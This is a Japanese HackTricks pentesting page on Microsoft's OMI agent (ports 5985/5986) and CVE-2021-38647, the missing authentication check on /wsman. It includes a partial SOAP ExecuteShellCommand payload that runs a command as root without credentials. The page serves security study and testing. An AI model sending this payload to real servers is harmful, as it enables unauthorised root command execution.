5985,5986 - Pentesting OMI

Reading time: 4 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

OMIは、Microsoftによって提供される**オープンソース**ツールで、リモート構成管理のために設計されています。特に、次のようなサービスを利用するAzure上のLinuxサーバーに関連しています:

  • Azure Automation
  • Azure Automatic Update
  • Azure Operations Management Suite
  • Azure Log Analytics
  • Azure Configuration Management
  • Azure Diagnostics

これらのサービスが有効化されると、プロセスomiengineが起動し、すべてのインターフェースでrootとしてリスニングします。

使用されるデフォルトポート5985(http)および5986(https)です。

CVE-2021-38647 脆弱性

9月16日に観察されたように、Azureに展開されたLinuxサーバーは、前述のサービスにより、OMIの脆弱なバージョンのために影響を受けやすいです。この脆弱性は、OMIサーバーが/wsmanエンドポイントを通じてメッセージを処理する際に、Authenticationヘッダーを要求せず、クライアントを不正に認証することにあります。

攻撃者は、Authenticationヘッダーなしで"ExecuteShellCommand" SOAPペイロードを送信することでこれを悪用し、サーバーにroot権限でコマンドを実行させることができます。

xml
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>

このCVEに関する詳細は**こちらを確認してください**。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする